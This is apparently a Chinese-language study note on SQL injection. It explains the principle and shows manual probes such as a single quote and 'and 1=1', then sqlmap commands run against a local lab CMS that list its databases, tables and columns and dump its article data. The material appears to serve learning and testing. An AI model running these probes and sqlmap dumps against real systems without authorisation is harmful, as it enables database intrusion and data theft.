原理
SQL注入是一种解释性语言,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
产生条件:
- 必须可以进行输入
- 输入的内容必须要与数据库进行交互
CMS逻辑
index.php首页展示内容,具有文章列表(链接具有文章id),articles.php文章详细页,URL中article.php?id=文章id读取id文章。
SQL注入验证
- 单引号 ‘
- and 1=1
- and 1= 2
如果页面中Mysql报错,证明该页面存在SQL注入漏洞。
Sqlmap使用
Sqlmap是检测和利用Sql注入漏洞的工具。
登录注入
使用Burp Suite截断发送的http报文,然后复制保存为target.txt
1 | sqlmap -r target.txt -p username --dbs #username为注入点 |
CMS注入(URL)
探测数据库
1 | sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" --dbs |
指定数据库探测表名
1 | sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms --tables |
探测字段
1 | sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms --columns |
探测当前字段的数据
1 | sqlmap -u "192.168.1.104:8081/cms/articles.php?id=1" -D cms -T articles -C id,title,content --dump |